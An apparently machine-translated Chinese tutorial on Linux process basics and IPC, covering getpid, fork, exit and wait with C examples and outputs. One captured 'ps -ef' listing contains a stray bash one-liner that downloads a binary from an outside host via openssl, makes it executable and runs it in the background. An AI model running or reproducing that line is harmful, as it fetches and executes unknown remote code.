进程间通信 - 快速指南


进程间通信 - 概述

进程间通信 (IPC) 是一种涉及一个进程与另一个进程通信的机制。这通常只发生在一个系统中。

沟通可以有两种类型 -

  • 仅从一个进程启动的相关进程之间,例如父进程和子进程。

  • 在不相关的进程之间,或者两个或多个不同的进程之间。

以下是在进一步讨论此主题之前我们需要了解的一些重要术语。

管道- 两个相关进程之间的通信。该机制是半双工的,这意味着第一个进程与第二个进程通信。为了实现全双工,即第二个进程与第一个进程通信需要另一个管道。

FIFO - 两个不相关进程之间的通信。FIFO 是全双工的,这意味着第一个进程可以与第二个进程同时通信,反之亦然。

消息队列- 两个或多个进程之间具有全双工能力的通信。进程将通过发布消息并从队列中检索消息来相互通信。一旦检索到,该消息就不再在队列中可用。

共享内存- 两个或多个进程之间的通信是通过所有进程之间的共享内存来实现的。共享内存需要通过同步对所有进程的访问来相互保护。

信号量- 信号量用于同步对多个进程的访问。当一个进程想要访问内存(进行读或写)时,需要对其进行锁定(或保护),并在访问解除时将其释放。所有进程都需要重复此操作以保护数据。

信号- 信号是一种通过信令在多个进程之间进行通信的机制。这意味着源进程将发送信号(通过数字识别),目标进程将相应地处理它。

注意- 本教程中的几乎所有程序都基于 Linux 操作系统下的系统调用(在 Ubuntu 中执行)。

处理信息

在我们进入流程信息之前,我们需要了解一些事情,例如 -

什么是流程?进程是正在执行的程序。

什么是程序?程序是包含进程信息以及如何在运行时构建进程的文件。当您开始执行程序时,它会被加载到 RAM 中并开始执行。

每个进程都用一个唯一的正整数进行标识,称为进程 ID 或简称 PID(进程标识号)。内核通常将进程ID限制为32767,这是可配置的。当进程ID达到此限制时,会再次重置,即在系统进程范围之后。然后,该计数器中未使用的进程 ID 会分配给新创建的进程。

系统调用 getpid() 返回调用进程的进程 ID。

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void);

此调用返回调用进程的进程 ID,该 ID 保证是唯一的。此调用始终成功,因此没有返回值来指示错误。

每个进程都有其唯一的 ID,称为进程 ID,这很好,但是谁创建了它呢?如何获取其创建者的信息?创建者进程称为父进程。可以通过 getppid() 调用获取父 ID 或 PPID。

系统调用 getppid() 返回调用进程的父 PID。

#include <sys/types.h>
#include <unistd.h>

pid_t getppid(void);

此调用返回调用进程的父进程 ID。此调用始终成功,因此没有返回值来指示错误。

让我们通过一个简单的例子来理解这一点。

以下是一个了解调用进程的 PID 和 PPID 的程序。

File name: processinfo.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   int mypid, myppid;
   printf("Program to know PID and PPID's information\n");
   mypid = getpid();
   myppid = getppid();
   printf("My process ID is %d\n", mypid);
   printf("My parent process ID is %d\n", myppid);
   printf("Cross verification of pid's by executing process commands on shell\n");
   system("ps -ef");
   return 0;
}

编译并执行上述程序时,输出如下。

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0  2017 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0  2017 ?        00:06:06 /usr/libexec/mysqld 
                                         --basedir = /usr 
                                         --datadir = /var/lib/mysql 
                                         --plugin-dir = /usr/lib64/mysql/plugin 
                                         --user = mysql 
                                         --log-error = /var/log/mariadb/mariadb.log 
                                         --pid-file = /run/mariadb/mariadb.pid 
                                         --socket = /var/lib/mysql/mysql.sock
2868535   96284      0  0 05:23 ?        00:00:00 bash -c download() { 
                                         flag = "false" hsize = 1 
                                         echo -e "GET /$2 HTTP/1.1\nHost: 
                                         $1\nConnection: close\n\n" | 
                                         openssl s_client -timeout -quiet 
                                         -verify_quiet -connect $1:443 2> 
                                         /dev/null | tee out | while read line do
                                         if [[ "$flag" == "false" ]]     
                                         then 
                                         hsize = $((hsize+$(echo $line | wc -c)))
                                         fi
                                         if [[ "${line:1:1}" == "" ]]     
                                         then flag = "true"
                                         fi 
                                         echo $hsize > 
                                         size done tail -c +$(cat size) out > 
                                         $2 rm size out }
                                         ( download my.mixtape.moe mhawum 2>
                                         /dev/null chmod +x mhawum 2>
                                         /dev/null ./mhawum >
                                         /dev/null 2>
                                         /dev/null )&
2868535   96910  96284 99 05:23 ?        00:47:26 ./mhawum
6118874  104116      0  3 05:25 ?        00:00:00 sh -c cd /home/cg/root/6118874; 
                                         timeout 10s javac Puppy.java
6118874  104122 104116  0 05:25 ?        00:00:00 timeout 10s javac Puppy.java
6118874  104123 104122 23 05:25 ?        00:00:00 javac Puppy.java
3787205  104169      0  0 05:25 ?        00:00:00 sh -c cd /home/cg/root/3787205; 
                                         timeout 10s main
3787205  104175 104169  0 05:25 ?        00:00:00 timeout 10s main
3787205  104176 104175  0 05:25 ?        00:00:00 main
3787205  104177 104176  0 05:25 ?        00:00:00 ps -ef
Program to know PID and PPID's information
My process ID is 104176
My parent process ID is 104175
Cross verification of pid's by executing process commands on shell

- “C”库函数 system() 执行 shell 命令。传递给 system() 的参数是在 shell 上执行的命令。在上面的程序中,命令是“ps”,它给出进程状态。

有关所有正在运行的进程的完整信息和其他系统相关信息可从 /proc 位置的 proc 文件系统访问。

过程图像

现在我们已经了解了如何获取进程及其父进程的基本信息,现在是时候研究进程/程序信息的详细信息了。

过程映像到底是什么?进程映像是执行程序时所需的可执行文件。该图像通常包含以下部分 -

  • 代码段或文本段
  • 数据段
  • 堆栈段
  • 堆段

以下是过程图像的图示。

处理图像

代码段是目标文件或程序的虚拟地址空间的一部分,由可执行指令组成。这通常是只读数据段并且具有固定大小。

数据段有两种类型。

  • 已初始化
  • 未初始化

初始化数据段是目标文件或程序虚拟地址空间的一部分,由初始化的静态变量和全局变量组成。

未初始化的数据段是目标文件或程序的虚拟地址空间的一部分,由未初始化的静态变量和全局变量组成。未初始化的数据段也称为BSS(Block Started by Symbol)段。

数据段是可读写的,因为变量的值可以在运行时更改。该段也有固定的大小。

堆栈段是分配给自动变量和函数参数的内存区域。它还在执行函数调用时存储返回地址。堆栈采用LIFO(后进先出)机制来存储局部或自动变量、函数参数以及存储下一个地址或返回地址。返回地址是指函数执行完成后要返回的地址。该段大小根据局部变量、函数参数和函数调用而变化。该段从高地址向低地址增长。

堆段是分配给动态内存存储(例如 malloc() 和 calloc() 调用)的内存区域。该段大小也根据用户分配而变化。该段从低地址向高地址增长。

现在让我们检查几个示例程序的段(数据段和 bss 段)大小如何变化。通过执行命令“size”即可获知段大小。

初始计划

文件:segment_size1.c

#include<stdio.h>

int main() {
   printf("Hello World\n");
   return 0;
}

在下面的程序中,添加了一个未初始化的静态变量。这意味着未初始化段 (BSS) 大小将增加 4 个字节。- 在 Linux 操作系统中,int 的大小为 4 个字节。整数数据类型的大小取决于编译器和操作系统的支持。

文件:segment_size2.c

#include<stdio.h>

int main() {
   static int mystaticint1;
   printf("Hello World\n");
   return 0;
}

在下面的程序中,添加了一个已初始化的静态变量。这意味着初始化段 (DATA) 大小将增加 4 个字节。

文件:segment_size3.c

#include<stdio.h>

int main() {
   static int mystaticint1;
   static int mystaticint2 = 100;
   printf("Hello World\n");
   return 0;
}

在下面的程序中,添加了一个已初始化的全局变量。这意味着初始化段 (DATA) 大小将增加 4 个字节。

文件:segment_size4.c

#include<stdio.h>

int myglobalint1 = 500;
int main() {
   static int mystaticint1;
   static int mystaticint2 = 100;
   printf("Hello World\n");
   return 0;
}

在下面的程序中,添加了一个未初始化的全局变量。这意味着未初始化段 (BSS) 大小将增加 4 个字节。

文件:segment_size5.c

#include<stdio.h>

int myglobalint1 = 500;
int myglobalint2;
int main() {
   static int mystaticint1;
   static int mystaticint2 = 100;
   printf("Hello World\n");
   return 0;
}

执行步骤

汇编

babukrishnam $ gcc segment_size1.c -o segment_size1
babukrishnam $ gcc segment_size2.c -o segment_size2
babukrishnam $ gcc segment_size3.c -o segment_size3
babukrishnam $ gcc segment_size4.c -o segment_size4
babukrishnam $ gcc segment_size5.c -o segment_size5

执行/输出

babukrishnam size segment_size1 segment_size2 segment_size3 segment_size4 segment_size5
   text  data  bss  dec  hex  filename
   878   252    8   1138 472  segment_size1 
   878   252   12   1142 476  segment_size2 
   878   256   12   1146 47a  segment_size3 
   878   260   12   1150 47e  segment_size4 
   878   260   16   1154 482  segment_size5
babukrishnam

进程创建和终止

到目前为止我们知道,每当我们执行一个程序时,就会创建一个进程,并在执行完成后终止。如果我们需要在程序中创建一个进程并且可能需要为其安排不同的任务,该怎么办?这能实现吗?是的,显然是通过流程创建。当然,作业完成后会自动终止,或者您可以根据需要终止它。

进程的创建是通过fork()系统调用来实现的。新创建的进程称为子进程,启动它的进程(或开始执行时的进程)称为父进程。在 fork() 系统调用之后,现在我们有两个进程 - 父进程和子进程。如何区分它们?很简单,就是通过它们的返回值。

系统调用

创建子进程后,让我们看看 fork() 系统调用的详细信息。

#include <sys/types.h>
#include <unistd.h>

pid_t fork(void);

创建子进程。在这个调用之后,有两个进程,现有的称为父进程,新创建的称为子进程。

fork() 系统调用返回三个值之一 -

  • 负值表示错误,即创建子进程失败。

  • 为子进程返回零。

  • 为父进程返回正值。该值是新创建的子进程的进程ID。

让我们考虑一个简单的程序。

File name: basicfork.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   fork();
   printf("Called fork() system call\n");
   return 0;
}

执行步骤

汇编

gcc basicfork.c -o basicfork

执行/输出

Called fork() system call
Called fork() system call

注意- 通常在 fork() 调用之后,子进程和父进程将执行不同的任务。如果需要运行相同的任务,那么对于每个 fork() 调用,它将运行 2 次方 n 次,其中n是调用 fork() 的次数。

在上述情况下,fork() 被调用一次,因此输出被打印两次(2 次方 1)。如果调用 fork() 3 次,那么输出将被打印 8 次(2 的 3 次方)。如果调用 5 次,则打印 32 次,依此类推。

看到 fork() 创建子进程后,是时候查看父进程和子进程的详细信息了。

文件名:pids_after_fork.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>

int main() {
   pid_t pid, mypid, myppid;
   pid = getpid();
   printf("Before fork: Process id is %d\n", pid);
   pid = fork();

   if (pid < 0) {
      perror("fork() failure\n");
      return 1;
   }

   // Child process
   if (pid == 0) {
      printf("This is child process\n");
      mypid = getpid();
      myppid = getppid();
      printf("Process id is %d and PPID is %d\n", mypid, myppid);
   } else { // Parent process 
      sleep(2);
      printf("This is parent process\n");
      mypid = getpid();
      myppid = getppid();
      printf("Process id is %d and PPID is %d\n", mypid, myppid);
      printf("Newly created process id or child pid is %d\n", pid);
   }
   return 0;
}

编译和执行步骤

Before fork: Process id is 166629
This is child process
Process id is 166630 and PPID is 166629
Before fork: Process id is 166629
This is parent process
Process id is 166629 and PPID is 166628
Newly created process id or child pid is 166630

进程可以通过两种方式终止 -

  • 异常情况下,发生在某些信号传送时,例如终止信号。

  • 通常,使用 _exit() 系统调用(或 _Exit() 系统调用)或 exit() 库函数。

_exit() 和 exit() 之间的区别主要在于清理活动。exit ()在将控制权返回给内核之前会进行一些清理,而_exit()(或 _Exit())会立即将控制权返回给内核。

考虑以下带有 exit() 的示例程序。

文件名:atexit_sample.c

#include <stdio.h>
#include <stdlib.h>

void exitfunc() {
   printf("Called cleanup function - exitfunc()\n");
   return;
}

int main() {
   atexit(exitfunc);
   printf("Hello, World!\n");
   exit (0);
}

编译和执行步骤

Hello, World!
Called cleanup function - exitfunc()

考虑以下使用 _exit() 的示例程序。

文件名:at_exit_sample.c

#include <stdio.h>
#include <unistd.h>

void exitfunc() {
   printf("Called cleanup function - exitfunc()\n");
   return;
}

int main() {
   atexit(exitfunc);
   printf("Hello, World!\n");
   _exit (0);
}

编译和执行步骤

Hello, World!

子进程监控

正如我们所看到的,每当我们使用 fork 从程序创建子进程时,都会发生以下情况 -

  • 当前进程现在成为父进程
  • 新进程成为子进程

如果父进程比子进程早完成任务然后退出或退出,会发生什么情况?现在谁将是子进程的父进程?子进程的父进程是init进程,它是第一个启动所有任务的进程。

为了监视子进程的执行状态,检查子进程是否正在运行或停止,或者检查执行状态等,使用了wait()系统调用及其变体。

让我们考虑一个示例程序,其中父进程不等待子进程,这导致 init 进程成为子进程的新父进程。

文件名:parentprocess_nowait.c

#include<stdio.h>

int main() {
   int pid;
   pid = fork();
   
   // Child process
   if (pid == 0) {
      system("ps -ef");
      sleep(10);
      system("ps -ef");
   } else {
      sleep(3);
   }
   return 0;
}

编译和执行步骤

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 Jan20 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0 Jan20 ?        00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506    5445      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328    5446      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   21894      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   21895      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   27309      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   27311      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
8295652   32407      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
4688328   49830      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
3108506   50854      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
4688328   64936      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
3108506   64937      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   67563      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
5942779   68128      0  0 Jan22 ?        00:00:07 /sbin/klogd -c 1 -x -x
3108506   68238      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   68999      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
3108506   69212      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   74090      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   74091      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328   74298      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   74299      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
6327201   74901      0  0 Jan20 ?        00:00:38 /sbin/klogd -c 1 -x -x
6327201   77274      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   78621      0  0 Jan20 ?        00:00:33 /sbin/klogd -c 1 -x -x
7528790   80536      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
6327201   80542      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
4688328   82050      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
3108506   82051      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
7528790   84116      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   84136      0 19 Jan20 ?        21:13:38 /sbin/klogd -c 1 -x -x
7528790   84140      0  0 Jan20 ?        00:00:28 /sbin/klogd -c 1 -x -x
3108506   84395      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84396      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84397      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
3108506   84928      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84929      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84930      0  0 Jan22 ?        00:00:30 [/sbin/klogd -c ] <defunct>
7528790   84970      0  0 Jan20 ?        00:00:34 /sbin/klogd -c 1 -x -x
3108506   85787      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   85789      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86368      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86402      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   87027      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
7528790   87629      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
7528790   87719      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
4688328   88138      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   88140      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   89353      0 99 Jan22 ?        2-07:35:14 /sbin/klogd -c 1 -x -x
5942779   91836      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328  125358      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  125359      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328  127456      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  127457      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
8023807  163891      0  0 05:41 ?        00:00:00 main
8023807  164130      0  0 05:41 ?        00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807  164136 164130  0 05:41 ?        00:00:00 timeout 10s main
8023807  164137 164136  0 05:41 ?        00:00:00 main
8023807  164138 164137  0 05:41 ?        00:00:00 main
8023807  164139 164138  0 05:41 ?        00:00:00 ps -ef
UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 Jan20 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0 Jan20 ?        00:04:41 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506    5445      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328    5446      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   21894      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   21895      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   27309      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   27311      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
8295652   32407      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
4688328   49830      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
3108506   50854      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
4688328   64936      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
3108506   64937      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   67563      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
5942779   68128      0  0 Jan22 ?        00:00:07 /sbin/klogd -c 1 -x -x
3108506   68238      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   68999      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
3108506   69212      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   74090      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   74091      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328   74298      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   74299      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
6327201   74901      0  0 Jan20 ?        00:00:38 /sbin/klogd -c 1 -x -x
6327201   77274      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   78621      0  0 Jan20 ?        00:00:33 /sbin/klogd -c 1 -x -x
7528790   80536      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
6327201   80542      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
4688328   82050      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
3108506   82051      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
7528790   84116      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   84136      0 19 Jan20 ?        21:13:48 /sbin/klogd -c 1 -x -x
7528790   84140      0  0 Jan20 ?        00:00:28 /sbin/klogd -c 1 -x -x
3108506   84395      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84396      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84397      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
3108506   84928      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84929      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84930      0  0 Jan22 ?        00:00:30 [/sbin/klogd -c ] <defunct>
7528790   84970      0  0 Jan20 ?        00:00:34 /sbin/klogd -c 1 -x -x
3108506   85787      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   85789      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86368      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86402      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   87027      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
7528790   87629      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
7528790   87719      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
4688328   88138      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   88140      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   89353      0 99 Jan22 ?        2-07:35:24 /sbin/klogd -c 1 -x -x
5942779   91836      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328  125358      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  125359      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328  127456      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  127457      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
8023807  164138      0  0 05:41 ?        00:00:00 main
8023807  164897 164138  0 05:41 ?        00:00:00 ps -ef

注意- 观察父进程 PID 为 94,子进程 PID 为 95。父进程退出后,子进程的 PPID 从 94 更改为 1(init 进程)。

以下是监视子进程的系统调用的变体 -

  • 等待()
  • 等待进程()
  • 等待ID()

wait ()系统调用将等待子进程之一终止并在缓冲区中返回其终止状态,如下所述。

#include <sys/types.h>
#include <sys/wait.h>

pid_t wait(int *status);

如果成功,此调用将返回终止子进程的进程 ID;如果失败,则返回 -1。wait() 系统调用挂起当前进程的执行并无限期地等待,直到其子进程之一终止。子进程的终止状态可在 status 中找到。

让我们修改之前的程序,让父进程现在等待子进程。

/* 文件名:parentprocess_waits.c */

#include<stdio.h>

int main() {
   int pid;
   int status;
   pid = fork();
   
   // Child process
   if (pid == 0) {
      system("ps -ef");
      sleep(10);
      system("ps -ef");
      return 3; //exit status is 3 from child process
   } else {
      sleep(3);
      wait(&status);
      printf("In parent process: exit status from child is decimal %d, hexa %0x\n", status, status);
   }
   return 0;
}

编译和执行步骤

UID         PID   PPID  C STIME TTY          TIME CMD
root          1      0  0 Jan20 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql       101      1  0 Jan20 ?        00:04:42 /usr/libexec/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib64/mysql/plugin --user=mysql --log-error=/var/log/mariadb/mariadb.log --pid-file=/run/mariadb/mariadb.pid --socket=/var/lib/mysql/mysql.sock
3108506    5445      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328    5446      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   21894      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   21895      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328   27309      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   27311      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
8295652   32407      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
4688328   49830      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
3108506   50854      0  0 Jan20 ?        00:00:18 /sbin/klogd -c 1 -x -x
4688328   64936      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
3108506   64937      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   67563      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
5942779   68128      0  0 Jan22 ?        00:00:07 /sbin/klogd -c 1 -x -x
3108506   68238      0  0 Jan22 ?        00:00:59 [/sbin/klogd -c ] <defunct>
4688328   68999      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
3108506   69212      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   74090      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
3108506   74091      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328   74298      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506   74299      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
6327201   74901      0  0 Jan20 ?        00:00:38 /sbin/klogd -c 1 -x -x
6327201   77274      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   78621      0  0 Jan20 ?        00:00:33 /sbin/klogd -c 1 -x -x
7528790   80536      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
6327201   80542      0  0 Jan20 ?        00:01:09 [/sbin/klogd -c ] <defunct>
4688328   82050      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
3108506   82051      0  0 Jan22 ?        00:01:59 [/sbin/klogd -c ] <defunct>
7528790   84116      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
7528790   84136      0 19 Jan20 ?        21:19:39 /sbin/klogd -c 1 -x -x
7528790   84140      0  0 Jan20 ?        00:00:28 /sbin/klogd -c 1 -x -x
3108506   84395      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84396      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84397      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
3108506   84928      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
4688328   84929      0  0 Jan22 ?        00:00:29 [/sbin/klogd -c ] <defunct>
5942779   84930      0  0 Jan22 ?        00:00:30 [/sbin/klogd -c ] <defunct>
7528790   84970      0  0 Jan20 ?        00:00:34 /sbin/klogd -c 1 -x -x
3108506   85787      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   85789      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86368      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   86402      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   87027      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
7528790   87629      0  0 Jan20 ?        00:00:39 /sbin/klogd -c 1 -x -x
7528790   87719      0  0 Jan20 ?        00:00:27 /sbin/klogd -c 1 -x -x
4688328   88138      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
4688328   88140      0  0 Jan22 ?        00:00:14 [/sbin/klogd -c ] <defunct>
5942779   89353      0 99 Jan22 ?        2-07:41:15 /sbin/klogd -c 1 -x -x
5942779   91836      0  0 Jan22 ?        00:00:00 [/sbin/klogd -c ] <defunct>
4688328  125358      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  125359      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
4688328  127456      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
3108506  127457      0  0 Jan22 ?        00:01:19 [/sbin/klogd -c ] <defunct>
8023807  191762      0  0 05:47 ?        00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807  191768 191762  0 05:47 ?        00:00:00 timeout 10s main
8023807  191769 191768  0 05:47 ?        00:00:00 main
8023807  191770 191769  0 05:47 ?        00:00:00 main
8023807  192193      0  0 05:47 ?        00:00:00 sh -c cd /home/cg/root/8023807; timeout 10s main
8023807  192199 192193  0 05:47 ?        00:00:00 timeout 10s main
8023807  192200 192199  0 05:47 ?        00:00:00 main
8023807  192201 192200  0 05:47 ?        00:00:00 main
8023807  192202 192201  0 05:47 ?        00:00:00 ps -ef

注意- 即使子进程返回退出状态 3,为什么父进程将其视为 768。状态存储在高位字节中,因此它以十六进制格式存储为 0X0300,十进制为 768。正常终止如下

高阶字节(位 8 至 15) 低位字节(位 0 至 7)
退出状态(0 到 255) 0

wait() 系统调用有局限性,例如它只能等到下一个子进程退出。如果我们需要等待特定的子进程,则无法使用 wait(),但是可以使用 waitpid() 系统调用。

waitpid() 系统调用将等待指定的子进程终止并在缓冲区中返回其终止状态,如下所述。

#include <sys/types.h>
#include <sys/wait.h>

pid_t waitpid(pid_t pid, int *status, int options);

